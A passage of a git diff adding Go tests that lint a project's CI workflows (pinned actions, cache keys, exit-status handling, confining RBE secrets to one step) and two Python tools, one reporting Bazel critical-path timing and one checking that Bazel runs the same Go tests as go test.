%q action %q has SHA %q, want %q", file, step.Name, family, sha, wantSHA) + } + if family == setupGoActionFamily && step.With["cache"] != "false" { + t.Errorf("%s setup-go cache = %q, want false", file, step.With["cache"]) + } + if family == cacheSaveActionFamily && file != bazelWorkflowName { + t.Errorf("%s step %q saves a cache; only %s's push-to-main step may", file, step.Name, bazelWorkflowName) + } + } + for _, step := range list { + if strings.Contains(step.Run, "apt-get") { + t.Errorf("%s step %q runs apt-get; bound it (see ci_workflow_apt_get_timeout_test.go) or drop it", file, step.Name) + } + } + } +} + +// The runner cache holds only content fixed by .bazelversion and +// MODULE.bazel.lock (repository cache, Bazelisk), so it is keyed on exactly +// that and written only by a push to main that missed the key; it never holds +// the generated rc or credentials. +func TestBazelWorkflowCacheTopology(t *testing.T) { + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName) + var saves []ciWorkflowStep + for _, step := range job.Steps { + if actionFamily(step.Uses) == cacheSaveActionFamily { + saves = append(saves, step) + } + } + if len(saves) != 1 { + t.Fatalf("%s has %d cache save steps, want 1", bazelWorkflowName, len(saves)) + } + save := saves[0] + if save.If != bazelCacheSaveIf { + t.Errorf("cache save if = %q, want exactly %q", save.If, bazelCacheSaveIf) + } + if save.With["key"] != bazelCacheKey || save.With["path"] != bazelCachePath { + t.Errorf("cache save key/path = %q / %q, want %q / %q", save.With["key"], save.With["path"], bazelCacheKey, bazelCachePath) + } + + var restore, writer ciWorkflowStep + for _, step := range readSetupBazelAction(t).Runs.Steps { + switch { + case actionFamily(step.Uses) == cacheRestoreActionFamily: + restore = step + case step.Env["BAZEL_CI_SECRET_DIR"] != "": + writer = step + } + } + if restore.With["path"] != bazelCachePath || restore.With["key"] != bazelCacheKey || + strings.TrimSpace(restore.With["restore-keys"]) != bazelCacheKeyPrefix { + t.Errorf("setup-bazel restore path/key/restore-keys = %q / %q / %q; want the save step's path and key with a %q prefix fallback", + restore.With["path"], restore.With["key"], restore.With["restore-keys"], bazelCacheKeyPrefix) + } + if writer.Env["BAZEL_CI_CACHE_DIR"] != bazelCachePath { + t.Errorf("rc writer BAZEL_CI_CACHE_DIR = %q, want %q", writer.Env["BAZEL_CI_CACHE_DIR"], bazelCachePath) + } + if secret := writer.Env["BAZEL_CI_SECRET_DIR"]; !strings.HasPrefix(secret, "${{ runner.temp }}/") || strings.HasPrefix(secret, bazelCachePath) { + t.Errorf("rc writer BAZEL_CI_SECRET_DIR = %q; want a runner.temp directory outside the cached %q", secret, bazelCachePath) + } +} + +// The lane runs the committed ci config over //..., reports the critical path +// and the go test equivalence even when tests fail, catches BUILD drift, and +// hands secrets to nothing but setup-bazel. +func TestBazelWorkflowRunsCIConfigWithReports(t *testing.T) { + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName) + if job.TimeoutMinutes == 0 { + t.Errorf("%s has no timeout-minutes", bazelJobName) + } + testStep := job.step(t, "bazel test //... --config=ci") + for _, required := range []string{"bazel test //... --config=ci", "--profile=", "--build_event_json_file=", "set -o pipefail"} { + if !strings.Contains(testStep.Run, required) { + t.Errorf("test step does not contain %q:\n%s", required, testStep.Run) + } + } + if strings.Contains(testStep.Run, "--config=remote-exec") { + t.Errorf("test step selects remote-exec itself; setup-bazel's rc does that only when secrets are present") + } + if i, j := strings.Index(testStep.Run, "bazel test"), strings.Index(testStep.Run, "--profile="); j < i { + t.Errorf("--profile is a command option and must follow `bazel test`") + } + for name, script := range map[string]string{ + "Critical-path report": "tools/bazel/critpath.py", + "Go test equivalence": "tools/bazel/equivalence.py", + } { + step := job.step(t, name) + if !strings.Contains(step.Run, script) || !strings.Contains(step.If, "always()") { + t.Errorf("step %q must run %s under always(); run=%q if=%q", name, script, step.Run, step.If) + } + assertReportStepKeepsExitStatus(t, step, "python3 "+script) + } + assertTestStepKeepsExitStatus(t, testStep) + sync := job.step(t, "BUILD files in sync (gazelle, go_srcs, MODULE.bazel)") + for _, required := range []string{"make bazel-sync-check", "make bazel-sync\n", "git status --porcelain --untracked-files=all", "exit 1"} { + if !strings.Contains(sync.Run, required) { + t.Errorf("sync step does not contain %q:\n%s", required, sync.Run) + } + } +} + +// swallowedExit matches shell that hides a failing command's status. +var swallowedExit = regexp.MustCompile(`\bexit\b|\|\|\s*(true|:)|;\s*(true|:)\s*$|\bset\s+\+e\b|\btrap\b`) + +// shellCommands joins backslash continuations and drops blank and comment +// lines. +func shellCommands(run string) []string { + var cmds []string + cur := "" + for _, line := range strings.Split(run, "\n") { + trimmed := strings.TrimSpace(line) + if cur == "" && (trimmed == "" || strings.HasPrefix(trimmed, "#")) { + continue + } + if strings.HasSuffix(trimmed, "\\") { + cur += strings.TrimSuffix(trimmed, "\\") + " " + continue + } + cmds = append(cmds, strings.Join(strings.Fields(cur+trimmed), " ")) + cur = "" + } + if cur != "" { + cmds = append(cmds, strings.Join(strings.Fields(cur), " ")) + } + return cmds +} + +// A report step's status is its script's: the script is the last command, +// nothing after it on that line, and nothing in the step can mask a failure. +func assertReportStepKeepsExitStatus(t *testing.T, step ciWorkflowStep, invocation string) { + t.Helper() + if step.Shell != "" { + t.Errorf("step %q overrides shell %q; the default bash -e is part of the contract", step.Name, step.Shell) + } + cmds := shellCommands(step.Run) + if len(cmds) == 0 { + t.Errorf("step %q runs nothing", step.Name) + return + } + last := cmds[len(cmds)-1] + if !strings.HasPrefix(last, invocation+" ") || strings.ContainsAny(last, ";&|") { + t.Errorf("step %q must end with a bare %q so its exit status is the step's; last command %q", step.Name, invocation, last) + } + for _, cmd := range cmds { + if swallowedExit.MatchString(cmd) { + t.Errorf("step %q command %q can hide the script's exit status", step.Name, cmd) + } + } +} + +// The bazel test step captures bazel's status through tee and must exit +// with it. +func assertTestStepKeepsExitStatus(t *testing.T, step ciWorkflowStep) { + t.Helper() + if step.Shell != "" { + t.Errorf("step %q overrides shell %q", step.Name, step.Shell) + } + cmds := shellCommands(step.Run) + if len(cmds) == 0 || cmds[len(cmds)-1] != `exit "$rc"` { + t.Errorf("step %q must end with exit \"$rc\"; commands %q", step.Name, cmds) + } + exits := 0 + for _, cmd := range cmds { + if regexp.MustCompile(`(^|[;&|]\s*)exit\b`).MatchString(cmd) { + exits++ + } + if regexp.MustCompile(`\|\|\s*(true|:)|;\s*(true|:)\s*$|\bset\s+\+e\b|\btrap\b`).MatchString(cmd) { + t.Errorf("step %q command %q can hide bazel's exit status", step.Name, cmd) + } + } + if exits != 1 { + t.Errorf("step %q has %d exit commands, want only the final exit \"$rc\"", step.Name, exits) + } +} + +func readYAMLNode(t *testing.T, rel string) *yaml.Node { + t.Helper() + path := filepath.Join(sourceRepoRoot(t), rel) + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + var doc yaml.Node + if err := yaml.Unmarshal(data, &doc); err != nil { + t.Fatalf("parse %s: %v", path, err) + } + if doc.Kind != yaml.DocumentNode || len(doc.Content) != 1 || doc.Content[0].Kind != yaml.MappingNode { + t.Fatalf("%s: want a YAML mapping document", path) + } + return doc.Content[0] +} + +// walkYAML calls fn with the dotted path of every mapping key and scalar. +func walkYAML(node *yaml.Node, path string, fn func(path string, key bool, value string)) { + switch node.Kind { + case yaml.MappingNode: + for i := 0; i+1 < len(node.Content); i += 2 { + k := node.Content[i].Value + fn(path+"."+k, true, k) + walkYAML(node.Content[i+1], path+"."+k, fn) + } + case yaml.SequenceNode: + for i, item := range node.Content { + walkYAML(item, fmt.Sprintf("%s[%d]", path, i), fn) + } + case yaml.ScalarNode: + fn(path, false, node.Value) + case yaml.AliasNode: + if node.Alias != nil { + walkYAML(node.Alias, path, fn) + } + } +} + +func yamlMapKeys(node *yaml.Node, key string) []string { + for i := 0; i+1 < len(node.Content); i += 2 { + if node.Content[i].Value != key { + continue + } + v := node.Content[i+1] + switch v.Kind { + case yaml.MappingNode: + var keys []string + for j := 0; j < len(v.Content); j += 2 { + keys = append(keys, v.Content[j].Value) + } + return keys + case yaml.SequenceNode: + var keys []string + for _, item := range v.Content { + keys = append(keys, item.Value) + } + return keys + default: + return []string{v.Value} + } + } + return nil +} + +// bazel.yml hands the RBE credentials to PR-head code on same-repo PRs (an +// accepted, documented risk). Keep that exposure from growing: only the +// listed triggers (never pull_request_target), secrets referenced from the +// setup-bazel step's env and nowhere else (not workflow/job env, run, with or +// if), and no continue-on-error anywhere, so a red lane stays red. +func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { + root := readYAMLNode(t, filepath.Join(".github", "workflows", bazelWorkflowName)) + triggers := yamlMapKeys(root, "on") + sort.Strings(triggers) + if !reflect.DeepEqual(triggers, bazelWorkflowTriggers) { + t.Errorf("%s triggers = %v, want exactly %v", bazelWorkflowName, triggers, bazelWorkflowTriggers) + } + + setupSteps := map[string]bool{} + for i, step := range readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName).Steps { + if step.Uses == "./"+setupBazelActionDir { + setupSteps[fmt.Sprintf(".jobs.%s.steps[%d].env.", bazelJobName, i)] = true + } + } + if len(setupSteps) != 1 { + t.Errorf("%s has %d setup-bazel steps, want 1", bazelWorkflowName, len(setupSteps)) + } + secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) + walkYAML(root, "", func(path string, key bool, value string) { + if key && value == "continue-on-error" { + t.Errorf("%s: %s hides failures; the lane is advisory by staying out of ci-gate", bazelWorkflowName, path) + } + if key && (value == "secrets" && strings.HasPrefix(path, ".jobs.")) { + t.Errorf("%s: %s passes secrets to a called workflow or container", bazelWorkflowName, path) + } + if key || !secretRef.MatchString(value) { + return + } + prefix := path[:strings.LastIndex(path, ".")+1] + if !setupSteps[prefix] { + t.Errorf("%s: %s reads secrets (%q); only the setup-bazel step's env may", bazelWorkflowName, path, value) + } + }) + + action := readYAMLNode(t, filepath.Join(setupBazelActionDir, "action.yml")) + walkYAML(action, "", func(path string, key bool, value string) { + if key && value == "continue-on-error" { + t.Errorf("setup-bazel: %s hides failures", path) + } + if !key && secretRef.MatchString(value) { + t.Errorf("setup-bazel: %s reads secrets directly; the caller passes them in the step env", path) + } + }) +} + +// write-bazelrc.sh: no secrets means a local-only rc (fork PRs), a partial set +// fails, and the full set enables remote-exec with the key material and rc +// outside the workspace and the runner cache. +func TestSetupBazelRCWriter(t *testing.T) { + bash := requireHostTool(t, "bash") + script := filepath.Join(sourceRepoRoot(t), setupBazelActionDir, "write-bazelrc.sh") + pem := func(kind string) string { + body := "-----BEGIN " + kind + "-----\nMIIBfake" + strings.ReplaceAll(kind, " ", "") + "\nline2\n-----END " + kind + "-----\n" + return base64.StdEncoding.EncodeToString([]byte(body)) + } + run := func(t *testing.T, extra ...string) (string, string, string, error) { + t.Helper() + dir := t.TempDir() + workspace := filepath.Join(dir, "ws") + if err := os.MkdirAll(workspace, 0o755); err != nil { + t.Fatal(err) + } + out := filepath.Join(dir, "github_output") + secret := filepath.Join(dir, "secret") + cmd := exec.Command(bash, script) + cmd.Dir = workspace + cmd.Env = append([]string{ + "PATH=" + os.Getenv("PATH"), + "GITHUB_WORKSPACE=" + workspace, + "GITHUB_OUTPUT=" + out, + "BAZEL_CI_CACHE_DIR=" + filepath.Join(dir, "cache"), + "BAZEL_CI_SECRET_DIR=" + secret, + }, extra...) + logs, err := cmd.CombinedOutput() + outputs, _ := os.ReadFile(out) + rc, _ := os.ReadFile(filepath.Join(secret, "ci.bazelrc")) + return string(outputs), string(rc), string(logs), err + } + executor := "BAZEL_REMOTE_EXECUTOR=grpcs://" + "farm.invalid:443" + + t.Run("no secrets stays local", func(t *testing.T) { + outputs, rc, logs, err := run(t) + if err != nil { + t.Fatalf("err=%v\n%s", err, logs) + } + if !strings.Contains(outputs, "remote=false") || strings.Contains(rc, "remote") || strings.Contains(rc, "tls") { + t.Errorf("outputs=%q rc=%q; want remote=false and no remote flags", outputs, rc) + } + if !strings.Contains(rc, "--repository_cache=") || strings.Contains(rc, "--disk_cache=") { + t.Errorf("local rc = %q; want --repository_cache and no --disk_cache (local runs never save it)", rc) + } + }) + for name, env := range map[string][]string{ + "executor only": {executor}, + "cert and key": {"RBE_TLS_CERT=" + pem("CERTIFICATE"), "RBE_TLS_KEY=" + pem("PRIVATE KEY")}, + "executor no key": {executor, "RBE_TLS_CERT=" + pem("CERTIFICATE")}, + "cert not pem b64": {executor, "RBE_TLS_CERT=bm90IGEgcGVt", "RBE_TLS_KEY=" + pem("PRIVATE KEY")}, + } { + t.Run("rejects "+name, func(t *testing.T) { + if _, _, logs, err := run(t, env...); err == nil { + t.Errorf("want failure, got success:\n%s", logs) + } + }) + } + t.Run("full set enables remote-exec", func(t *testing.T) { + outputs, rc, logs, err := run(t, executor, "RBE_TLS_CERT="+pem("CERTIFICATE"), "RBE_TLS_KEY="+pem("PRIVATE KEY")) + if err != nil { + t.Fatalf("err=%v\n%s", err, logs) + } + for _, want := range []string{ + "build:remote-exec --remote_executor=grpcs://farm.invalid:443", "--tls_client_certificate=", "--tls_client_key=", + "build:remote-exec --noremote_upload_local_results", "build --config=remote-exec", + } { + if !strings.Contains(rc, want) { + t.Errorf("rc lacks %q:\n%s", want, rc) + } + } + if strings.Contains(rc, "--disk_cache") || strings.Contains(rc, "--remote_instance_name") { + t.Errorf("rc sets --disk_cache or an instance nobody asked for:\n%s", rc) + } + if !strings.Contains(outputs, "remote=true") { + t.Errorf("outputs = %q, want remote=true", outputs) + } + for _, want := range []string{"::add-mask::farm.invalid\n", "::add-mask::MIIBfakeCERTIFICATE\n", "::add-mask::MIIBfakePRIVATEKEY\n", "::add-mask::line2\n", "::warning title=RBE_INSTANCE not set::"} { + if !strings.Contains(logs, want) { + t.Errorf("log lacks %q:\n%s", want, logs) + } + } + if strings.Contains(logs, "::add-mask::-----") { + t.Errorf("PEM armor lines are masked (they would blank every PEM header in the log):\n%s", logs) + } + }) + t.Run("CA and instance", func(t *testing.T) { + _, rc, logs, err := run(t, executor, "RBE_TLS_CERT="+pem("CERTIFICATE"), "RBE_TLS_KEY="+pem("PRIVATE KEY"), + "RBE_TLS_CA="+pem("CA CERT"), "RBE_INSTANCE=beads") + if err != nil { + t.Fatalf("err=%v\n%s", err, logs) + } + for _, want := range []string{"build:remote-exec --tls_certificate=", "build:remote-exec --remote_instance_name=beads"} { + if !strings.Contains(rc, want) { + t.Errorf("rc lacks %q:\n%s", want, rc) + } + } + if !strings.Contains(logs, "::add-mask::MIIBfakeCACERT\n") || strings.Contains(logs, "RBE_INSTANCE not set") { + t.Errorf("want the CA masked and no instance warning:\n%s", logs) + } + }) + t.Run("secret dir inside workspace fails", func(t *testing.T) { + dir := t.TempDir() + cmd := exec.Command(bash, script) + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "GITHUB_WORKSPACE=" + dir, + "BAZEL_CI_CACHE_DIR=" + filepath.Join(t.TempDir(), "c"), "BAZEL_CI_SECRET_DIR=" + filepath.Join(dir, "s")} + if out, err := cmd.CombinedOutput(); err == nil { + t.Errorf("want failure for a secret dir inside the workspace:\n%s", out) + } + }) +} diff --git a/tools/bazel/critpath.py b/tools/bazel/critpath.py new file mode 100644 index 000000000..97cfdd652 --- /dev/null +++ b/tools/bazel/critpath.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +"""Critical-path report and CI budget check for a `bazel --profile` JSON. + + gap = elapsed - critical_path + +The critical path is the SUM of the chained "critical path component" events +Bazel records, not the single longest one: a cold race build is a long chain +of compile/link actions, and reporting only its longest member understates the +path and turns the difference into a phantom "scheduling gap". + +Decision rule: + gap < 15% of elapsed the chain itself is the bottleneck. Attack its + longest member (shard/speed up a test, split or slim + a build action, warm the CAS if input upload + dominates). + gap >= 15% of elapsed actions waited for capacity: raise --jobs, grow the + executor pool, restore the runner disk cache. + +Measurement tiers (caching makes single numbers lie): + T1 steady: warm remote cache + restored runner disk cache (the PR loop). + T2 cold client: fresh runner disk cache, warm remote cache. + T3 cold farm: after worker recycle / CAS eviction. Tracked, never gated. + local no remote execution (fork PRs). Reported, never gated. + +Usage: + critpath.py PROFILE [--tier T2] [--budget SECONDS] [--enforce] + [--log BAZEL_OUTPUT_LOG] [--top N] [--summary FILE] + +Without --enforce an over-budget run prints a GitHub warning annotation and +exits 0 (report-only phase); with --enforce it exits 1. +""" +import argparse +import json +import os +import re +import sys + +CP_CAT = "critical path component" +DECISION_GAP_PCT = 15.0 + + +def load_events(path): + with open(path, encoding="utf-8") as f: + prof = json.load(f) + if isinstance(prof, list): + return prof + return prof.get("traceEvents", []) + + +def short_name(name, width=90): + # "action 'GoLink cmd/bd/bd_test_/bd_test'" -> "GoLink cmd/bd/bd_test_/bd_test" + m = re.match(r"action '(.*)'$", name) + if m: + name = m.group(1) + return name if len(name) <= width else name[: width - 1] + "…" + + +def processes_line(log_path): + """Return Bazel's final "N processes: ..." line from its console log.""" + if not log_path or not os.path.exists(log_path): + return None + found = None + with open(log_path, encoding="utf-8", errors="replace") as f: + for line in f: + m = re.search(r"(\d[\d,]* processes?: .*)$", line.strip()) + if m: + found = m.group(1) + return found + + +def analyze(events): + elapsed = max((e.get("dur", 0) for e in events if e.get("name") == "buildTargets"), default=0) / 1e6 + stamps = [e["ts"] for e in events if e.get("ts")] + wall = (max(stamps) - min(stamps)) / 1e6 if stamps else 0.0 + chain = [e for e in events if e.get("cat") == CP_CAT] + cp = sum(e.get("dur", 0) for e in chain) / 1e6 + longest = sorted(chain, key=lambda e: e.get("dur", 0), reverse=True) + return { + "elapsed": elapsed, + "wall": wall, + "cp": cp, + "chain_len": len(chain), + "longest": longest, + } + + +def next_step(res): + elapsed, cp = res["elapsed"], res["cp"] + gap = max(elapsed - cp, 0.0) + pct = gap / elapsed * 100 if elapsed else 0.0 + if not res["longest"]: + return pct, "NEXT: no critical path recorded (nothing executed, or a fully cached run)" + if pct < DECISION_GAP_PCT: + top = res["longest"][0] + name = short_name(top["name"], 200) + secs = top.get("dur", 0) / 1e6 + m = re.search(r"Testing (\S+)", name) + if m: + return pct, f"NEXT: shard or speed up {m.group(1)} ({secs:.0f}s)" + if "upload" in name.lower(): + return pct, "NEXT: input upload dominates; warm the remote CAS or slim the declared inputs" + return pct, f"NEXT: attack {short_name(name, 70)} ({secs:.0f}s)" + return pct, "NEXT: scheduling gap; raise --jobs, grow the executor pool, or restore the runner disk cache" + + +def main(argv=None): + ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + ap.add_argument("profile") + ap.add_argument("--tier", default="T2") + ap.add_argument("--budget", type=float, default=None, help="seconds; compared with max(elapsed, wall)") + ap.add_argument("--enforce", action="store_true", help="exit 1 when over budget") + ap.add_argument("--log", help="bazel console log, for the 'processes:' cache line") + ap.add_argument("--top", type=int, default=8, help="longest chain members to list") + ap.add_argument("--summary", default=None, help="append Markdown here (default: $GITHUB_STEP_SUMMARY)") + args = ap.parse_args(argv) + + if not os.path.exists(args.profile): + print(f"critpath: profile {args.profile} not found (bazel did not start?)", file=sys.stderr) + return 1 if args.enforce else 0 + + res = analyze(load_events(args.profile)) + pct, advice = next_step(res) + gap = max(res["elapsed"] - res["cp"], 0.0) + procs = processes_line(args.log) + tier = args.tier + + lines = [ + f"[{tier}] wall clock {res['wall']:7.1f}s (server start to last event)", + f"[{tier}] elapsed {res['elapsed']:7.1f}s (build graph)", + f"[{tier}] critical path {res['cp']:7.1f}s (sum of {res['chain_len']} chained components)", + f"[{tier}] gap {gap:7.1f}s ({pct:.0f}% of elapsed)", + ] + if procs: + lines.append(f"[{tier}] processes {procs}") + top = [e for e in res["longest"][: args.top] if e.get("dur", 0) > 0] + if top: + lines.append("") + lines.append(f"longest critical-path members (top {len(top)}):") + for e in top: + lines.append(f" {e['dur'] / 1e6:7.1f}s {short_name(e['name'])}") + lines.append("") + lines.append(advice) + + verdict = None + over = False + if args.budget is not None: + gated = max(res["elapsed"], res["wall"]) + over = gated > args.budget + mode = "enforcing" if args.enforce else "report-only" + if over: + verdict = f"BUDGET ({mode}): over, {gated:.1f}s > {args.budget:.0f}s ({tier})" + else: + verdict = f"BUDGET ({mode}): within, {gated:.1f}s <= {args.budget:.0f}s ({tier})" + lines.append("") + lines.append(verdict) + + print("\n".join(lines)) + if over and not args.enforce and os.environ.get("GITHUB_ACTIONS") == "true": + print(f"::warning title=Bazel critical-path budget::{verdict}") + + summary = args.summary or os.environ.get("GITHUB_STEP_SUMMARY") + if summary: + with open(summary, "a", encoding="utf-8") as f: + f.write( + f"**Tier {tier}**: elapsed {res['elapsed']:.0f}s, wall {res['wall']:.0f}s, " + f"critical path {res['cp']:.0f}s ({res['chain_len']} components), gap {pct:.0f}%" + ) + f.write(f"; {verdict}\n\n" if verdict else "\n\n") + f.write("
Critical path\n\n```\n" + "\n".join(lines) + "\n```\n
\n\n") + + return 1 if (over and args.enforce) else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/bazel/equivalence.py b/tools/bazel/equivalence.py new file mode 100644 index 000000000..acb2132b0 --- /dev/null +++ b/tools/bazel/equivalence.py @@ -0,0 +1,388 @@ +#!/usr/bin/env python3 +"""Check that `bazel test --config=ci` ran the same Go tests `go test` would. + +The Bazel lane is only a safe replacement for the `go test` lanes in pr.yml +(PR Core runs `go test -race -short -skip '^TestEmbedded' ./...`) if it runs +the same tests. A tag filter, a stray `manual` tag, a package gazelle never +picked up, or a sharding bug that makes a shard run zero tests all shrink the +Bazel set silently: every target Bazel did run is still green. This script +makes that shrinkage a failure. + +Two checks always run, a third when `go test -json` output is supplied: + +1. Package set. Every package `go list` reports with test files must have a + go_test target (`bazel query 'kind("go_test rule", //...)'`). +2. Test-name set. For every such package, each top-level `func TestXxx(t + *testing.T)` in the files `go list` selects (the same -race and + gms_pure_go build context as PR Core, minus the `^TestEmbedded` skip) must + appear as a in the test.xml of a go_test target that this Bazel + invocation tested (read from --build_event_json_file). Bazel testcases + that `go test` would not run are reported too. This check only sees names: + a test that runs and passes under `go test` but calls t.Skip under Bazel + (a missing env var, no git checkout, a file that is not declared as data) + still counts as present here. +3. Skip parity (--go-test-json, nightly). Given the `go test -json` output of + the PR Core command on the same commit, every top-level test that passed + under `go test` and was skipped under Bazel is a divergence. The Bazel lane + alone cannot see this (a skip looks the same whether or not `go test` also + skips), so the nightly workflow runs PR Core's `go test -json` and passes + it in. Other status differences (pass/fail either way, skipped under go + test but run under Bazel) are reported, not failed: a failing test already + fails its own lane. + +Divergences listed in the allowlist (tools/bazel/equivalence_allowlist.txt) +are expected; anything else fails. The allowlist format is one entry per line: + + # why Bazel does not run it + skip # why Bazel skips a test go test runs + +The first form (kind "run") covers the name checks; `*` as the test name +matches the whole package (including the package-set check). The `skip` form +covers only check 3. Every entry needs a justification after `#`. + +Requires: go (with the module cache the packages need), bazel for the query +unless --no-query, and the BEP JSON plus bazel-testlogs of a `--config=ci` +run (which sets GO_TEST_WRAP_TESTV=1 and downloads test.xml). +""" +import argparse +import fnmatch +import json +import os +import re +import subprocess +import sys +import xml.etree.ElementTree as ET + +GO_LIST_ARGS = ["list", "-e", "-race", "-tags", "gms_pure_go", "-json", "./..."] +# pr.yml's go test lanes pass -skip '^TestEmbedded' (as does test:prcore). +SKIP_RE = re.compile(r"^TestEmbedded") +TEST_FUNC_RE = re.compile(r"^func\s+(Test\w*)\s*\(\s*\w+\s+\*testing\.T\s*\)", re.M) +STATUS_RANK = {"skipped": 0, "passed": 1, "failed": 2} +GO_TEST_STATUS = {"pass": "passed", "fail": "failed", "skip": "skipped"} +ALLOW_KINDS = ("run", "skip") +DEFAULT_ALLOWLIST = os.path.join(os.path.dirname(os.path.abspath(__file__)), "equivalence_allowlist.txt") + + +def is_go_test_name(name): + # cmd/go: "TestXxx" where Xxx does not start with a lower-case letter. + return name == "Test" or not name[4].islower() + + +def go_expected(root, go_json_path=None): + """Return ({pkg_dir: set(test names)} for packages with test files, + {import path: pkg_dir} for every package).""" + if go_json_path: + with open(go_json_path, encoding="utf-8") as f: + raw = f.read() + else: + raw = subprocess.run(["go", *GO_LIST_ARGS], cwd=root, check=True, capture_output=True, text=True).stdout + decoder = json.JSONDecoder() + pkgs, idx = [], 0 + while idx < len(raw): + while idx < len(raw) and raw[idx].isspace(): + idx += 1 + if idx >= len(raw): + break + obj, idx = decoder.raw_decode(raw, idx) + pkgs.append(obj) + + expected, dirs = {}, {} + for p in pkgs: + rel = os.path.relpath(p["Dir"], root) + rel = "" if rel == "." else rel.replace(os.sep, "/") + if p.get("ImportPath"): + dirs[p["ImportPath"]] = rel + files = (p.get("TestGoFiles") or []) + (p.get("XTestGoFiles") or []) + if not files: + continue + names = set() + for name in files: + with open(os.path.join(p["Dir"], name), encoding="utf-8", errors="replace") as f: + for m in TEST_FUNC_RE.finditer(f.read()): + t = m.group(1) + if is_go_test_name(t) and not SKIP_RE.search(t): + names.add(t) + expected[rel] = names + return expected, dirs + + +def go_test_statuses(path, dirs): + """Return {pkg_dir: {test: status}} for top-level tests in `go test -json` + output. Packages go list does not know are skipped.""" + out = {} + with open(path, encoding="utf-8", errors="replace") as f: + for line in f: + if not line.startswith("{"): + continue + try: + ev = json.loads(line) + except ValueError: + continue + test, action = ev.get("Test"), ev.get("Action") + if not test or "/" in test or action not in GO_TEST_STATUS: + continue + pkg = dirs.get(ev.get("Package", "")) + if pkg is None: + continue + out.setdefault(pkg, {})[test] = GO_TEST_STATUS[action] + return out + + +def label_pkg(label): + # "//cmd/bd:bd_test" -> "cmd/bd", "@@//:x" -> "" + label = label.lstrip("@") + return label[2:].split(":", 1)[0] if label.startswith("//") else label.split(":", 1)[0] + + +def query_go_test_pkgs(root, bazel): + out = subprocess.run( + [bazel, "query", 'kind("go_test rule", //...)', "--output=label"], + cwd=root, check=True, capture_output=True, text=True, + ).stdout + return {label_pkg(l) for l in out.split()} + + +def read_bep(path): + """Return ({label: shard_count} for tested go_test targets, set of go_test + labels configured, this invocation's testlogs dir or None).""" + go_tests, shards = set(), {} + exec_root, testlogs_rel = None, None + with open(path, encoding="utf-8") as f: + for line in f: + if not line.strip(): + continue + ev = json.loads(line) + eid = ev.get("id", {}) + if "workspace" in eid: + exec_root = ev.get("workspaceInfo", {}).get("localExecRoot") + elif "convenienceSymlinksIdentified" in eid: + for link in ev.get("convenienceSymlinksIdentified", {}).get("convenienceSymlinks", []): + if link.get("path", "").endswith("testlogs") and link.get("target"): + testlogs_rel = link["target"] + elif "targetConfigured" in eid: + if ev.get("configured", {}).get("targetKind") == "go_test rule": + go_tests.add(eid["targetConfigured"]["label"]) + elif "testResult" in eid: + tr = eid["testResult"] + shards[tr["label"]] = max(shards.get(tr["label"], 0), int(tr.get("shard", 1) or 1)) + tested = {l: n for l, n in shards.items() if l in go_tests} + testlogs = None + if exec_root and testlogs_rel: + # The symlink target is relative to the output base, two levels above + # the exec root (/execroot/). + testlogs = os.path.join(os.path.dirname(os.path.dirname(exec_root)), testlogs_rel) + return tested, go_tests, testlogs + + +def testlog_xmls(testlogs, label, shard_count): + pkg = label_pkg(label) + name = label.split(":", 1)[1] + base = os.path.join(testlogs, pkg, name) + if shard_count <= 1: + return [os.path.join(base, "test.xml")] + return [os.path.join(base, f"shard_{i}_of_{shard_count}", "test.xml") for i in range(1, shard_count + 1)] + + +def bazel_observed(tested, testlogs): + """Return ({pkg: {test: status}}, [problems]).""" + observed, problems = {}, [] + for label, n in sorted(tested.items()): + pkg = label_pkg(label) + per = observed.setdefault(pkg, {}) + for xml_path in testlog_xmls(testlogs, label, n): + if not os.path.exists(xml_path): + problems.append(f"{label}: {xml_path} missing (was test.xml downloaded? run with --config=ci)") + continue + try: + tree = ET.parse(xml_path) + except ET.ParseError as e: + problems.append(f"{label}: cannot parse {xml_path}: {e}") + continue + cases = tree.getroot().iter("testcase") + count = 0 + for tc in cases: + name = tc.get("name", "") + if "/" in name or not name.startswith("Test"): + continue + count += 1 + if tc.find("failure") is not None or tc.find("error") is not None: + status = "failed" + elif tc.find("skipped") is not None: + status = "skipped" + else: + status = "passed" + # A test seen in several targets keeps its worst status. + if name not in per or STATUS_RANK[status] > STATUS_RANK[per[name]]: + per[name] = status + if count == 0 and os.path.getsize(xml_path) < 64: + # An empty means the binary ran no tests at all + # (or GO_TEST_WRAP_TESTV was off). The test-name diff reports + # which tests are missing; note it here for the log. + problems.append(f"{label}: {os.path.relpath(xml_path, testlogs)} lists no testcases") + return observed, problems + + +def load_allowlist(path): + entries, errors = [], [] + if not path or not os.path.exists(path): + return entries, errors + with open(path, encoding="utf-8") as f: + for n, line in enumerate(f, 1): + body, _, why = line.partition("#") + body = body.strip() + if not body: + continue + fields = body.split() + kind = fields[2] if len(fields) == 3 else "run" + if len(fields) not in (2, 3) or kind not in ALLOW_KINDS or not why.strip(): + errors.append( + f"{path}:{n}: want ' [skip] # justification', got {line.strip()!r}" + ) + continue + entries.append({"pkg": fields[0], "test": fields[1], "kind": kind, "why": why.strip(), "line": n, "used": False}) + return entries, errors + + +def allowed(entries, pkg, test, kind="run"): + for e in entries: + if e["kind"] == kind and fnmatch.fnmatchcase(pkg, e["pkg"]) and fnmatch.fnmatchcase(test, e["test"]): + e["used"] = True + return True + return False + + +def main(argv=None): + ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + ap.add_argument("--bep", required=True, help="--build_event_json_file of the bazel test run") + ap.add_argument("--root", default=os.getcwd(), help="workspace root (default: cwd)") + ap.add_argument("--testlogs", default=None, help="default: from the BEP, else /bazel-testlogs") + ap.add_argument("--allowlist", default=DEFAULT_ALLOWLIST) + ap.add_argument("--go-list-json", default=None, help="precomputed `go list -json` output (tests)") + ap.add_argument( + "--go-test-json", default=None, + help="`go test -json` output of the PR Core command on the same commit; enables the skip-parity check", + ) + ap.add_argument("--bazel", default=os.environ.get("BAZEL", "bazel")) + ap.add_argument("--no-query", action="store_true", help="skip 